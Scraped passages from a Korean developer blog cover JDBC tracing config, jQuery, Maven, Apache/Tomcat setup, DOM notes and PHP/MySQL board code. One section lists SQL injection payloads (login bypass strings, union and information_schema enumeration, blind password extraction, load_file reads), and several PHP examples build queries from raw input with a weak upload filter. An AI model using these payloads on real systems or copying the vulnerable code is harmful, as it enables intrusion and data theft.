# [유형1] JNDI & DataSource
# 다음과 같이 JNDI lookup을 통한 DataSource를 사용하고 있을 경우는 특별한 설정
# 없이도, 자동으로 SQL을 추적합니다.
#
# InitialContext ctx = new InitialContext();
# DataSource ds = (DataSource)ctx.lookup("java:comp/env/jdbc/datasource");
# Connection conn = ds.getConnection();
#
# NOTE: 다음과 같이 사용하고 있는 유형은 추적하지 못하니, 한번의 lookup()을
# 사용하는 위 유형으로 어플리케이션 소스 변경을 하셔야 합니다.
# InitialContext ctx = new InitialContext();
# Context envCtx = (Context)ctx.lookup("java:comp/env");
# DataSource ds = (DataSource)envCtx.lookup("jdbc/datasource");
# (혹은 아래에 기술한 [유형3]방식을  고려해 보세요.)
#
#==============================================================================
# [유형2]: DriverManager.getConnection()
# JDBC SQL을 추적할 때, DriverManager.getConnection() 유형을 사용하는 경우에
# 아래의 파라메터를 설정하실 수 있습니다. 예를 들면, JEUS 4.0, Apache DBCP 
# Connection Pool, 혹은 단순히 DriverManager.getConnection() 유형 등입니다. 
# JDBC URL의 앞부분을 기술하시면 됩니다. 여러개라면 ","로 구분하여 기술하시면
# 됩니다.
# ----------
# (예제1) Tmaxsoft JEUS 4.0
# Class.forName("jeus.jdbc.pool.Driver");
# Connection conn = DriverManager.getConnection("jdbc:jeus:pool:mypool");
# ==>
#user_defined_jdbc_connectionpool_prefixes=jdbc:jeus:pool
# ----------
# (예제2) Apache DBCP JDBC Connection Pool
# conn = DriverManager.getConnection("jdbc:apache:commons:dbcp:/poolname");
# ==>
#user_defined_jdbc_connectionpool_prefixes=jdbc:apache:commons:dbcp
# ----------
# (예제3) Oracle Non-Pool사용시
# Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
# conn = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:ORACL",
#                                    "scott", "tiget");
# ==>
#user_defined_jdbc_connectionpool_prefixes=jdbc:oracle:thin
# NOTE: 단 위 (예제3)위 경우, 직접 맺고 끝는 경우가 아니라, JDBC Connection Pool
# 내부에서 자체적으로 위와같이 사용되고 있는 경우는 Connection NOT CLOSED 예외를
# 감지하지 못합니다. 따라서, [유형2]의 경우는 특별한 경우를 제외하곤 사용하지 마십시요.
# 이 경우는 어플리케이션의 ConnUtil.getConnection()와 같은 유형의 메소드를
# 확인하여 아래의 [유형3] 방식으로 전환하여 사용하십시오.
#
#==============================================================================
# [유형 3] 자체제작한 db.DBConnectionManager.java 와 같은 유형
# JDBC Connection Pool을 자체 제작하여 사용하고 있을 때, getConnection()/
# freeConnection()등과 같이 JDBC연결을 얻어오는 부분과 반환하는 클래스 및 
# 메소드를 명시적으로 등록해 줄 수 있습니다. 이러한 유틸리티 클래스는
# 프레임웍상에 하나 이상의 존재할 수 있으므로, ";"으로 구분하여 여러개를 등록할
# 수 있습니다. 예를 들면 다음과 같습니다.
# ----------
# (예제1: 웹로직 5.x/6.x )
# Driver myDriver = (Driver)Class.forName("weblogic.jdbc.pool.Driver").newInstance( );
# Connection con = myDriver.connect("jdbc:weblogic:pool:demoPool", null);
# ==>
#jdbc_connection_get = weblogic.jdbc.pool.Driver.connect(String,Properties)
# ----------
# (예제2: Hans Bergsten's DBConnectionManager Pool)
#jdbc_connection_get   = db.DBConnectionManager.getConnection(String);db.DBConnectionManager.getConnection(String,long)
#jdbc_connection_close = db.DBConnectionManager.freeConnection(String,Connection)
# ----------
# (예제3: Oracle JDBC Driver Connection Pool)
#jdbc_connection_get   = oracle.jdbc.pool.OracleConnectionCacheImpl.getConnection()
# ----------
# (예제4): Oraccle ERP stadard JDBC connection SQL추적 기능 추가(Note: justget옵션)
#  jdbc_connection_justget = oracle.apps.fnd.common.Context.getJDBCConnection()
#  jdbc_connection_close = oracle.apps.fnd.common.Context.releaseJDBCConnection(Connection,String)
#
# NOTE: 
# (1) 앞부분의 패키지명/클래스명/메소드명은 반드시 full package명이 기술되어야
#     합니다. 
#    ConnUtil.getConnection() --> com.db.ConnUtil.getConnection()
# (2) jdbc_connection_get 혹은 jdbc_connection_justget 에 설정할 getConnection()류의 메소드는
#    반드시 return type이 java.sql.Connection 이어야 합니다.
# (3)  jdbc_connection_close 에 설정된 메소드에는 인자 중에 java.sql.Connection이 반드시
#    포함되어 있어야 합니다.(위치 상관없음)
# (4) 파라메터는 다음과 같의 full package 명을 기술해도 되고, 클래스명만 기술해도
#    됩니다.
#    com.db.DBUtil.getConnection(String) == com.db.DBUtil.getConneciton(java.lang.String)
# (5) 파라메터의 변수명도 지정 가능하며 내부적으로는 무시됩니다.
#    com.db.DBUtil.getConnection(String) == com.db.DBUtil.getConneciton(String name)
# (6) jdbc_connection_get과 jdbc_connection_close 가 항상 쌍으로 존재할 필요는
#    없습니다. 예를 들어 ConnUtil.getConntion()으로 DB연결을 얻어오나 
#    conn.close()를 통해 pool로 돌려보내는 유형이라면, jdbc_connection_get만
#    등록하면 됩니다.
# (7) 단 이 [유형3]의 경우는 설정 변경시 WAS의 재기동이 필요합니다.

#-----------------------------------------
# Oracle JDBC 9.x 버전에서 JDBC 2.0 표준 API가 아닌 Oracle 종속적인 CLOB/BLOB 형을
# 어플리케션에서 명시적으로 OracleResultSet으로 캐스팅(casting)하여 사용하고 있을 때,
# ClassCastException이 발생할 수 있습니다.
# 예: CLOB clob = ((OracleResultSet)rs).getCLOB(i);
# 사실 이 경우는 Oracle 10g JDBC Driver로 바꾸고 표준 JDBC 2.0 API로 수정할 것을
# 권고드리나, 이것이 여타의 이유로 불가능할 경우는 아래의 옵션을 설정하여
# OracleResultSet으로 캐스팅이 가능하게 하실 수 있습니다. (default: false)
#enable_jdbc_oracle_dependency_used = true

'Server Enterprise > JDBC & DBCP' 카테고리의 다른 글

PreparedStatement 객체 재사용하기  (0) 2016.06.22
[Oracle] JDBC Connection  (0) 2013.07.17
Oracle DBCP Connection pool - Eclipse 환경  (0) 2013.02.07

jQuery("#inputCount").get(0).length  ;  // 셀렉트박스 길이

jQuery("#inputCount").get(0).options[0].selected = true; //첫번째 항목이 선택되게

 

 //옵션추가

for(var i=0; i<=count; i++){
   jQuery("#inputCount").get(0).options[i] = new Option(i + "개", i);  }

 

//옵션 초기화

for (var i = jQuery("#"+objName).get(0).length-1; i>=1; i--)
{
     jQuery("#"+objName).get(0).options[i] = null;
}

 

document.getElementById("inputCount").reInitializeSelectBox(102);    //이건 selectbox에 css가 안먹어서 js로 억지로 만들어 끼워 넣었는데 가로 size가 잘 안먹어서 다시 생성해주는 스크립트로 넣었음. 102는 넓이

 

 

<select id="inputCount" name="inputCount">
        <option value="">선택수량</option>
        <option value="1">1개</option>
</select>

branches , trunk , tag


1. branches 개발중, 개발 test 완료

2. trunk 개발 완료 된 소스 배포

3. tag 소스 배포 되고 아무이상 없다면 Release - version 1.0 


maven - jar file auto setting 

www.apache.org // maven.apache.org // search.maven.org


<modelVersion> - 현재 사용하고 있는 maven version (default) 및 위 항목들은 Unique한 값.


<properties> - maven :: 자주 쓰는 항목 변수화 하여 지정

 <project.build.sourceEncoding>UTF-8

 <spring-core-version>2.5.6</spring-core-version>

 <spring-core-version>3.1.1 Release</spring-core-version>


pom.xml > right mouse click > Run As > Run Configurations

(Base directory :: 현재 쓰고 있는 maven 프로젝트 default 설정) > Goal :: clean compile 설정(jar 자동 삭제 수정)

다음 mvn clean compile 할 때는, > Run Configurations 를 >Maven test 해주자.


 <spring-batch-version>2.1.1.RELEASE 

 :: spring core와 spring batch 는 다른 프레임웤


<repository> - jar를 만들기위한 그 jar 서버 url정보값 setting

<dependencies> - 해당 jar를 쓰기 위한 jar 고유 groupId, artifactId, version 정보(data)값 setting


systemPath 설정

<dependency>

<groupId>oracle</groupId>

<artifactId>ojdbc</artifactId>

<version>10.2.0.4</version>

<scope>system</scope>

<systemPath>${project.basedir}/lib/ojdbc-10.2.0.4.jar</systemPath>            

</dependency> 


proflies : 개발환경, 서비스환경 나눠서 환경 설정.

pom.xml > right mouse click > Run As > Run Configurations

> Profiles : local & release

<profiles>

        <profile>

            <id>local</id>

            <properties>

                <env>local</env> 

            </properties>            

        </profile>

        <profile>

            <id>release</id>

            <properties>

                <env>release</env>

            </properties>

        </profile>    

 </profiles>


Web HTTP Server - Apache, WebtoB, Nginx, iplanetweb

Was Server - jeus, weblogic, tomcat


Apache server 2.2

http://httpd.apache.org/

download - from a mirror

Apache HTTP Server 2.2.22 localhost:80/

Win32 Binary without crypto (no mod_ssl) (MSI Installer)


Apache HTTP 서버 설정

NameVirtualHost *:80

<VirtualHost *:80>


C:\dev\conf\extra\ httpd-vhosts.conf ::

NameVirtualHost *:80

<VirtualHost *:80>

 ServerName struts2.apache.org

 DocumentRoot D:\workspace\struts2-project\webapps //현재 workspace

 <Directory D:\workspace\struts2-project\webapps>

  Order Allow,Deny // 선 Allow, 후 Deny

  Deny from 127.0 192.168 10.2 // 후 127.0 으로 시작하는 ip, 192.168, 10.2 다 막음

  Allow from all // 먼저 다 오픈

 </Directory>

</VirtualHost>


C:\dev\conf\ httpd.conf ::

# Virtual hosts

Include conf/extra/httpd-vhosts.conf 주석 풀고 save


C:\dev\실습환경\hosts\ hosts file ::

127.0.0.1       localhost

127.0.0.1       struts2.apache.org


C:\dev\conf\ httpd.conf :: 모두 주석처리.

#<Directory />

#   Options FollowSymLinks

#   AllowOverride None

#   Order deny,allow

#   Deny from all

#</Directory>


C:\dev\conf\ httpd.conf

#Listen 12.34.56.78:80 - ip기반 사용시 주석 품

Listen 80


Test Configuration :: Apach error 있으면 찾아줌.



http://tomcat.apache.org/ 

Tomcat Connectors

Tomcat Connectors JK 1.2

Binary Releases

tomcat-connectors-1.2.35-windows-i386-httpd-2.2.x.zip

C:\dev\tomcat-connectors-1.2.35-windows-i386-httpd-2.2.x\ mod_jk.so 파일 카피 해서

C:\dev\modules\ mod_jk.so 이 경로로 카피함


C:\dev\conf\ httpd.conf :: 주석 풀고 jk_module 수정

LoadModule jk_module modules/mod_jk.so 


C:\dev\conf\ :: workers.properties 새로 파일 만듬

내용 ::

worker.list = struts2-project


worker.struts2-project.port=8009

worker.struts2-project.host=localhost

worker.struts2-project.type=ajp13


C:\dev\conf\ httpd.conf :: 밑의 문장 추가

JkWorkersFile conf/workers.properties


C:\dev\conf\extra\ httpd-vhosts.conf :: 밑의 문장 추가

JkMount /*.jsp struts2-project

JkMount /*.do struts2-project


'Server > Web Application' 카테고리의 다른 글

linux name  (0) 2012.07.31
vi 명령어, vi 단축키, vi(Visual Editer), vim  (0) 2012.07.27
CentOs 6.2 Tomcat 설치  (0) 2012.07.20
CentOs 6.2 Apache(httpd) 설치  (0) 2012.07.20
CentOs 6.2 JDK 설치  (0) 2012.07.20

/*

DOM 스크립트

*/


document.createElement("p")

document.createTextNode("")


node.cloneNode(false)

node.nodeType()


node.nodeValue()

document.getElementById("description").firstChild.nodeValue

attribute node="description" 인 요소노드의 firstChild 는 textNode 이다. 



document.getElementById(element node)


document.getElementsByTagName(element node)

<> document.createTextNode("Hello world")


document.body.appendChild(para)

document.removeChild(message)

element.insertBefore(newNode, targetNode)

element.replaceChild(newChild, oldChild)


element.setAttribute(attributeName, attributeValue) - element 요소만 가능

element.setAttribute(attribute, Value )

node.hasChildNodes()

node.childNodes.length


document.childNodes[0].nodeName == "HTML"

node.lastChild == node.childNodes[element.childNodes.length - 1]




document.body.appendChild(placeholder);

document.body.appendChild(description);


var gallery = document.getElementById("imagegallery");

gallery.parentNode.insertBefore(placehorder, gallery);


addLoadEvent();

addLoadEvent();


insertAfter() {}



/*

HTML DOM

*/


document.getElementByTagName("title").firstChild.nodeValue;


var w = window.open();

w.document.open();

w.document.write

w.document.close();

//write() 글이 쓰여진 새창을 띄운후 close한다


document.getElementById("w3c").taget = "_blank";

// 새창 띄우기.

// target


<area id="venus" shape="circle"

coords="124,58,8"

alt="Venus"

href="venus.htm?id=venus" />


document.getElementById("venus").host == "www.w3scholls.com"

getElementById("venus").hostname

getElementById("venus").pathName == "/jsref/venus.html"

getElementById("venus").search == "?id=venus"

getElementById("venus").shape == "circle"


document.getElementById("button1").form.id

document.getElementById("button1").parentNode.getAttribute("id")


<form id="frm1" accept-charset="ISO-8859-1">

document.getElementById("frm1").acceptCharset == "ISO-8859-1"


/*

document.getElementById("frm1").length


if(!document.getElementById) return false;

if(!document.getElementByTagName) return false;

if(!document.getElementByid("frm1")) return false;

var frm = document.getElementById("frm1");

var tagFrm = frm.getElementByTagName.childNodes;

for(var i=0; i<tagFrm.length; i++){

 if(!tagFrm[i]) return false;

 document.write( tagFrm[i] );

}

*/


<iframe id="myframe" src="/default.asp">

document.getElementById("myframe").align="right";

// 글 오른쪽에 iframe이 위치함


<form onmousedown="whichButton(event)">

if( event.button == 2) { alert("you clicked the right mouse button!"); }

else { alert("you clicked the left mouse button!"); }


log4j-1.2.15.jar


log4j.rootLogger = INFO, stdout


# Consol

log4j.appender.stdout = org.apache.log4j.ConsoleAppender

log4j.appender.stdout.layout = org.apache.log4j.PatternLayout

log4j.appender.stdout.layout.ConversionPattern = %5p [%t] - %m%n

 

log4j.logger.org.springframework = ERROR

log4j.logger.org.apache = INFO

log4j.logger.java.sql = DEBUG

'Common' 카테고리의 다른 글

[Proxy] 사이트  (0) 2013.04.17
자격증 관련 URL  (0) 2013.04.15
교육 url  (0) 2013.03.04
화면 캡쳐 Environment Tool  (0) 2013.02.25
주석 편하게 쓰는 Environment Tool  (0) 2013.02.25

http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt



%09 Tab

%0a enter

%20 space bar


admin'# , admin' or 1=1-- , admin' or 1=1# , admin'-- , -1||0x616414212


select table_name from information_schema.tables where table_type='basetable' limit 0,1;


select user_pw from user_table where no='-1' union select 'admin';


select table_name from information_schema.tables where table_schema=database() limit 0, 1;

select column_name from information_schema.columns where table_name='board' limit 0, 1;

//현재 사용중인 table 찾고, 그뒤 알아낸 table명으로 column이름 찾기


select no from m_sur3x5F4 where no='$_GET[no]';

1 and ascii(substr((select password from m_sur3x5F4 where id='admin'),1,1)) > 0


select table_name from information_schema.tables where table_schema!='information_schema';

//root 이지 않은 평범한 일반계정일 경우, 관리하는 테이블_스키마 이외에 나머지 인포메이션_스키마를 찾는다 (즉, 사용자가 직접 구성한 테이블만 찾는다)


'(select 1)=1#

"|"



select 1,2,(load_file('/home/www/key.php')),4,5

//key.php를 열어보기 위한 injection query문


select-불러올때

insert-새로저장

update-수정

delete-삭제


mysql -u root -p > 


show databases;

create database test_db;

drop database test_db;

use test_db;


show tables; <empty>

create table member(

idx int auto_increment primary key,

id varchar(8) unique not null,

ps varchar(8) not null,

name varchar(8) not null

);

drop table member;

show tables; > member


select * from member; <empty>

insert into member values ("r3d", "1234", "asdf");

select * from member; > 위항목 추가 돼 있음

insert into member values ("blue", "1234", "power");

select * from member where id="blue";

> 위항목만 찾아

> empty 뜸 왜냐면 and는 교집합의 의미로써 둘중에 하나라도 만족하지 않으면 찾지 않음

> 만약 중간에 or연산이 들어가 있다면 둘중에 하나라도 만족하는 값을 찾음

update member set ps="1234", id='kkk' where id="blue";

> ps 1234로 바꿀꺼다 누구를 id가 blue인 애를 .. ㅇㅇ

delete from member where id="blue";

delete from board where length(writer))>10;

> 삭제시킴 아이디가 블루인 ㅇㅇ

> board라는 테이블의 writer컬럼길이를 10으로 짜른다;


alter table login add column phone varchar(20);


- login


<?php

mysql_connect("localhost", "root", "apmsetup");

mysql_select_db("test_db");

//mysql_query("insert into lol values ('$a','$date1')");

$result = mysql_query("select * from login where id='$j_id' and ps='$j_ps'");

$row = mysql_fetch_array($result);

>db자체가 2차원 배열로 저장돼어 있기때문에 1줄을 불러서 row라는 변수에다 저장한다


echo $row[0]; > 0번째 인덱스 즉 db의 젤 첫줄에 있는 게 됌 (여기선 아이디)

echo $row[1]; > 1번째 인덱스 2줄째 (여기선 비번)

?>


<script language="javascript">

alert(<?=$_SESSION['id']?>+"님 어서오세요");

alert("<?=$j_id?>);


session_start(); 세션 쓸때 항상 쓰고 시작.

session_destroy(); 세션 값 삭제


3초후에 야후로 이동됩니다.

<meta http-equiv="refresh" content="3;url=http://www.yahoo.com" />

location.href=""; 랑 같지만 html 코드라 외우기만 하면 유용함.


<구문 중 젤 중요> ㅇㅇ sense TIP

<?php include("./function.php"); ?>

<?php

if($_GET['cmd']=="logout" && !empty($_SESSION['j_id'])){

  unset($_SESSION['j_id']);

  session_destroy();

  js_alert("logout success");

}

if(!empty($_SESSION['j_id'])){

  echo $_SESSION['j_id']."님 안녕하세요 <br />";

?>


- board


create table board(

idx int auto_increment primary key,

title varchar(64) not null,

contents text not null,

writer varchar(24) not null

);  


include("./mysql_intro.php");

include("./alert.php");

$result=mysql_query("select * from board");

while($row=mysql_fetch_array($result)){

  echo "<a href='./view.php?idx=".$row['idx']."'>".$row['title']."</a> - ".$row['writer'];

  echo "<br />";

}


a {text-decoration:none;} 

$idx = $_GET['idx'];

$result = mysql_query("select * from board where idx='$idx'");


$limit_page = 10*($page-1); //sql쿼리문 limit함수 쓰기 위한 수식.

$result = mysql_query("select * from board order by idx desc limit ".$limit_page.", 10"); < 이수식

$select = mysql_query("select count(*) from board");

$row2 = mysql_fetch_array($select);

$aa = $row2[0]; << 위에 $select 변수 쿼리문이 들어가있는데 거기서 fetch array해서 row2에 값을

넣는데, 그 넣은 값을 다시 $aa 다 넣는다 즉, $aa는 count(갯수)가 들어가져 있다.==게시글의총 갯수

$bb = (int)($aa/10)+($aa%10>0); 

// $bb는 게시글 1 ~ 10 까지 출력하고자하는 즉, 게시글이 100개라면 10page까지, 101개라면 11page가 뜨게 하기위한 변수로 쓰여진다.

$start = (int)(($page-1)/10)*10+1;

// $start는 게시글을 1page를 누르면 1~10까지만 출력되게 하고 11을 누르면 11~20page까지 출력되게 하는 즉 11이 $start여야 한다.

$limit = $bb;

// $limit는 게시글의 마지막 page를 뜻한다 즉 게시글이 101개로써 11page가 마지막이면 그 11page임


<?php

if($start!=1){//만약에 1~11에선 1, 11~20에선 11 이 시작되는 지점의 page가 1이 아닐때

  echo "<a href='./list.php?page=".($start-10)."'>"."<<"."</a> ";

}// 하이퍼링크가 걸린 << 을 출력하고 그 주소는 11-10 >> 1page 즉 밑포문과 함께 본다면

// 1~10을 출력하게 됨

  for($i=$start;$i<$start+10 && $i<=$limit;$i++){// $i=$start 첫페이지 1부터 +10까지 그리고만약

// $i<=$limit $i는 첫페이지 $start를 뜻하는거고 $limit는 마지막페이지를 뜻하는 거니까

// 여기서 이 and연산의 뜻은 첫페이지부터 만약 마지막페이지가 껴잇는($start=11~$limit=12를 뜻함)

// 두 조건이 만족 되어야만 안에 있는 구문이 출력되게 하는 구문이다.

    echo "<a href='./list.php?page=".$i."'>".$i."</a> ";

}if($start+10<$limit){//만약 첫페이지+10 (즉 1이라면 10page까지) 즉, 20page가 12page보다 크면

// 참이 되어서 밑 문장을 실행 즉, 마지막 페이지가 12page라면 12까지 출력하고 >>는 안출력한단말임

echo "<a href='./list.php?page=".($start+10)."'>".">>"."</a> ";

}

?>


<div></div>

float:left;

clear:both;

'Server Enterprise > PHP' 카테고리의 다른 글

업로드 및 다운로드 페이지  (0) 2012.07.20
UTF8 및 한글 블록 현상 해결 방안  (0) 2012.07.20
Server DB 연결  (0) 2012.07.20

Uncaught TypeError: undefined is not a function


'Client Standard > JavaScript & jQuery' 카테고리의 다른 글

select box Option 속성 클릭 시 나타나는 Behavior  (0) 2012.07.22
jQuery select box node 접근방법  (0) 2012.07.20
DOM 객체에 관하여 주저리  (0) 2012.07.20
getCookie()  (0) 2012.07.20
jQuery selectbox  (0) 2012.07.20

<?php

include("./mysql_intro.php");

include("./script_alert.php");

$j_wr = $_POST['j_wr'];

$j_tt = $_POST['j_tt'];

$j_cn = $_POST['j_cn'];

$path = "c:\\uploads\\";

$j_ps = "";

$file_name = "";

if(!empty($_POST['j_ps'])){

 $j_ps = $_POST['j_ps'];

 }if(!empty($_FILES['j_fl']['name']){

  $file_name = $_FILES['j_fl']['name'];

  $file_name = preg_replace("/\.(php|exe|inc|jsp|asp|htaccess)/i","",$file_name);

  if($_FILES['j_fl']['error'] > 0){

  echo "file transmission fales";

  }else{

  if(is_uploaded_file($_FILES['j_fl']['tmp_name'])){

  echo "file transmission success";

  move_uploaded_file($_FILES['j_fl']['tmp_name'], $path.$filename);

  echo "uploaded file : ".$path.$_FILES['j_fl']['name'];

  }

 }

}

?>




<?php

$filename = $row['uploads'];

$path = "C:\uploads\".$filename;

if(!eregi($_SERVER['HTTP_HOST'], $_SERVER['HTTP_REFERER'])) Error("외부에선 다운로드 하실수 없습니다.");

if(is_file($path)){

if(eregi("(MSIE 5.5|MSIE 6.0)", $HTTP_USER_AGENT)){

Header("Content-Type:application/octet-stream");

Header("Content-Length:".filesize($path));

Header("Content-Disposition:attachment; filename=".$filename);

Header("Content-Transfer-Encoding:binary");

Header("Pragma:no-cache");

Header("Expires:0");

}else{

Header("Content-Type:file/unknown");

Header("Content-Length:".filesize($path));

Header("Content-Disposition:attachment; filename=".$filename);

Header("Content-Description:PHP3 Generated Data");

Header("Pragma:no-cache");

Header("Expires:0");

}$fp = fopen($path, "rb");

if(!fpassthru($fp)) fclose($fp);

clearstatcache();

}else{

echo "해당 파일이나 경로가 존재하지 않습니다";

}

'Server Enterprise > PHP' 카테고리의 다른 글

간단한 mysql 쿼리와 php와의 상관관계  (0) 2012.07.20
UTF8 및 한글 블록 현상 해결 방안  (0) 2012.07.20
Server DB 연결  (0) 2012.07.20

php,html ansi <> utf-8 변환, 인코딩 한글깨짐 해결방법


서버 <> php,html문서 한글깨짐 때문

이유: utf-8의 경우 상단에 BOM 이라는 태그가 붙어버려 (자신이 UTF-8이라고 알리는 문자열)

이런 에러가 발생하게 된다.

 

mysql_connect("localhost", "root", "apmsetup");

mysql_select_db("test_db3");

mysql_query("set names utf8");

 

<head>

<meta http-equiv="content-type" content="text/html; charset=utf-8" />

</head>


.php 파일들(ex, view.php etc) 다른이름저장으로 utf8로 인코딩 새로해야됌

(.text 파일로 임시 변환하여 다른이름으로 저장하여 utf8로 인코딩 방식 새로저장)



**정리


- session_start(); 전에 출력문이 있으면 안된다.

- 그래도 안된다면 세션 변수가 저장되는 폴더 권한을 777(root권한) 주었는지 확인해 봐야한다.

- 그래도 안된다면 UTF-8(BOM없음) 형식으로 저장해보자

- 그래도 안된다면 모든 파일을 이 형식으로 저장하자.

- 그래도 안된다면 php.ini에서 default-charset utf-8로 설정해보라.

- 설정은 모두 통일하자.


'Server Enterprise > PHP' 카테고리의 다른 글

간단한 mysql 쿼리와 php와의 상관관계  (0) 2012.07.20
업로드 및 다운로드 페이지  (0) 2012.07.20
Server DB 연결  (0) 2012.07.20

+ Recent posts